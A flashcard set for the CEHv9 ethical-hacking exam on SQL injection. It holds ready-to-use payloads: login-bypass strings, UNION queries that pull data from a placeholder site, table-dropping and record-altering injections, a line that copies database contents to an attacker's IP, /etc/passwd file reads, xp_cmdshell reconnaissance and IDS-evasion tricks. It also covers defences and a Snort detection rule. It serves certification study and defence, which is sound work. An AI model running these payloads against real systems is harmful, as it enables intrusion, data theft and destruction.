47 terms

CEHv9 MOD13 SQL Injection

STUDY
PLAY
What is SQL injection?
Technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a web app for execution by a backend database.
Why bother about SQL injection?
SQL injection can be used to implement the following attacks:
- Authentication bypass
- Information disclosure
- Compromised data integrity
- Compromised availability of data
- Remote code execution
SQL injection and server-side technologies
- Server-side technologies: ASP.NET allow dynamic and data-driven websites
- Exploit: Port of ASP.NET and SQL can easily be exploited by hackers using SQL injection attacks
- Susceptible databases: SQL Server, Oracle, IBM DB2, MySQL
- Attack: SQL attacks don't exploit a specific vulnerability instead they target websites that do not follow secure coding practices.
Understanding an SQL injection query - code analysis
SELECT Count(*) FROM Users WHERE UserName = 'Blah' or 1=1 --' AND PASSWORD='Springfield'
1 - User enters a username and password that matches a record in the user's table
2 - Dynamically generated SQL query is used to retrieve the number of matching rows
3 - User is then authenticated and redirected to the requested page.
4 - A pair of "--" indicates a comment in SQL so anything after will not get executed. So after the -- the password ISN'T checked.
Example malicious SQL query to pull all users
blah' UNION Select 0, username, password, 0 from users --
Example malicious SQL query to update table
blah' UPDATE jb-customers SET jb-email = 'info@juggyboy.com' WHERE email = 'jason@springfield.com; --
Example malicious SQL query to add new records
blah'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login_id','jb-last_name') VALUES ('jason@springfield.com','hello','jason','jason springfield') ;--
Example malicious SQL query to ID the table name
blah' AND 1=(SELECT COUNT(*) FROM mytable); --

(mytable should be the guessed table name)
Example malicious SQL injection to delete a table
blah' ; DROP TABLE Creditcard; --
Types of SQL Injection
- Error based SQL injection
-- UNION SQL injection
-- System stored procedure
-- Tautology
-- End of line comment
-- Illegal/logically incorrect query
- Blind SQL injection
-- Time Delay
-- Boolean exploitation
What is Error-based SQL injection?
Forces the database to perform some operation in which the result will be an error. May differ from one DBMS to the other.
Error-based SQL injection: System stored procedure
Attackers exploit databases' stored procedures to perpetrate their attacks
Error-based SQL injection: end of line comment
After injecting code into a particular field, legitimate code that follows is nullified through usage of EOL comments
Error-based SQL injection: illegal/logically incorrect query
An attacker may gain knowledge by injecting illegal/logically incorrect requests such as injectable parameters, data types, names of tables, etc.
Error-based SQL injection: tautology
Injecting statements that are always true so that queries always return results upon evaluation of a WHERE condition Example:
SELECT * FROM users WHERE name = '' or '1'='1';
Error-based SQL injection: union SQL injection
Involves joining a forged query to a original query.
"UNION SELECT" statements returns the union of the intended dataset with the target dataset
Blind SQL injection
- Used when web app is vulnerable but results are not visible to attacker
- Same as a normal SQL injection except a generic error message is displayed
- Time-intensive because a new statement must be crafted for each bit recovered
Blind SQL injection: WAITFOR DELAY (YES or NO response)
; IF EXISTS (SELECT * FROM creditcard) WAITFOR DELAY '0:0:10' -- If the result is no the error will be displayed immediately. IF result is yes the error will be displayed in 10 seconds.
Boolean exploitation technique
1-Multiple valid statements that evaluate to true and false are supplied in the affected parameter in the HTTP request
2-By comparing the response page between both conditions, the attacker can infer whether or not the injection was successful
3-This technique is very useful when the tester finds a Blind SQL injection situation, in which nothing is known on the outcome of an operation.
SQL injection methodology
1 - Information gathering and SQL injection vulnerability detection
2 - Launch SQL injection attacks
3 - Advanced SQL injection
SQL attack information gathering
1-Check if web app connects to a database server in order to access some data
2-List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query
3-Attempt to inject codes into the input fields to generate an error
4-Try to insert a string value where a number is expected in the input field
5-The UNION operator is used to combine the result-set of two or more SELECT statements
6-Detailed error messages provide a wealth of information to an attacker in order to execution SQL injection
SQL attack indentifying data entry paths
Attackers analyze web GET and POST requests to identify all the input fields, hidden fields, and cookies
Extracting information through error messages
- Give you OS, database type, database version, privilege level, OS interaction level, etc.
- Depending on the type of errors found, you can vary the attack techniques
- Information gathering techniques (parameter tampering)
-- Attack manipulates parameters of GET and POST requests to generate errors
-- Error may give information such as database server name, directory structures, and the functions used for the SQL query
-- Parameters can be tampered directly from address bar or using proxies
Where do most SQL injections land in a SQL statement?
They land in the middle of a SELECT statement, and in a SELECT clause we almost always end up in the WHERE section.
SQL grouping error
HAVING command allows to further define a query based on the "grouped" fields. Error message will tell us which columns have not been grouped:
' group by columnnames having 1=1 --
Additional methods to detect SQL injection
- Function testing
-- Should require no knowledge of the inner design of the code or logic
- Fuzzing testing
-- Discovering input errors by inputting massive amounts of data
- Static/dynamic testing
-- Analysis of the web application source code
SQL injection black box pen testing
- Detecting SQL injection issues
-- Send single or double quotes (Test if user input is sanitized)
- Detecting input sanitization
-- Use right square bracket to catch
- Detecting truncation issues
-- Send long strings of junk data
- Detecting SQL modification
-- Seng long strings of single quote characters
--
Source code review to detect SQL injection vulns
- Can be performed manually or with tools
-- Microsoft source code analyzer, CodeSecure, HP QAInspect, PLSQLScanner 2008, etc..
Union SQL injection - extract database name
http://www.juggyboy.com/page.aspx?id =

1 UNION SELECT ALL 1, DB_NAME, 3, 4--
Union SQL injection - extract database tables
http://www.juggyboy.com/page.aspx?id =

1 UNION SELECT ALL 1, TABLE_NAME, 3, 4 from sysobjects where xtype=char(85)--
Union SQL injection - extract table column names
http://www.juggyboy.com/page.aspx?id =

1 UNION SELECT ALL 1, column_name, 3, 4 from DB_NAME.information.schema.columns where table_name = 'EMPLOYEE_TABLE'--
Methods to bypass website logins
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
login as different user:
' UNION SELECT 1, 'anotheruser','doesn't matter', 1--
What is second order SQL injection?
When data input is stored in database and used in processing another SQL query without validating or without using parameterized queries.
What are default SQL admin accounts?
sa, system, sys, dba, admin, root, dbo
Creating SQL database accounts?
MS SQL SVR: exec sp_addlogin 'example', 'password'
Oracle: CREATE USER example IDENTIFIED BY password
MS ACCESS: CREATE USER example IDENTIFIED BY password
MySQL: INSERT INTO mysql.user (user, host, password) ('example','localhost', PASSWORD('password'))
Transfer SQL database to attacker's machine?
Use OPENROWSET. Example

'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=password;Network=DBMSOCN;address=192.168.2.1,80; ','select from mydatabase..hacked_sysdatabases') select from master.dbo.sysdatabases --
SQL commands to interact with the file system
LOAD_FILE(), INTO OUTFILE()

example:

NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
Network recon using SQL
Use xp_cmdshell command to do ipconfig /all, tracert, myIP, arp -a, nbtstat -c, netstat -ano, route print
SQL injection tools
BSQLHacker, Marathon Tool, SQL Power injector, Havij, sqlmap, DroidSQLi (mobile), sqlmapchik(mobile),
Evading IDS running SQL commands
- Use techniques to obscure input strings
- Inline comment method: input comments between sql keywords
- Char encoding method: use built-in CHAR function to represent a character
- String concatenation
- Obfuscated codes: SQL statement made difficult to understand
- manipulating white space
- hex encoding
-
SQL detection evasion technique: sophisticated matches
replace 'OR 1=1 with:
' or "
-- or #
/../
+
||
%
?Param1=foo&Param2=bar
@variable
@@variable

Example
'OR' 'microsoft' = 'micro'+'soft'
How to defend against SQL injection attacks slide 1
- Run database services account with minimal rights
- Disable commands like xp_cmdshell
- Suppress all error messages
- Use custom error messages
- Monitor DB traffic using an IDS, WAP
- Use low privileged account for DB connection
- Filter all client data
- Sanitize data
How to defend against SQL injection attacks slide 2
- Don't assume the size, type, or content of data received by your application
- Test size, data type of input and enforce appropriate limits to prevent buffer overruns
- Test content of string variables and accept only expected values
- Reject entries that contain binary data, escape sequences, and comment characters
- Never built Transact-SQL statements directly from user input
- Implement multiple layers of protection
How to defend against SQL injection attacks slide 3
- Avoid constructing dynamic SQL with concatenated input values
- Ensure web config files for each application don't contain sensitive info
- Use most restrictive SQL account types for applications
- Use IDS
- Perform automated blackbox injection testing, static source code analysis, and manual penetration testing to probe for vulnerabilities
- Keep untrusted data separate from commands and queries
- Use safe API to avoid use of interpreter completely
How to defend against SQL injection attacks slide 4
- Design code to trap and handle exceptions properly
- Use SHA256 to hash passwords
- Apply least privilege rules
- Validate user-supplied data
- Avoid quoted/delimited identifiers
- Ensure code tracing and debug messages are removed prior to deployment
-
How to use type-safe SQL parameters
Enforce type, length checks, and parameter collection so that input is treated as a literal value instead of executable code
SQL injection detection tools
dotDefender, IBM security appscan, WebCruiser, Snort rules:
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix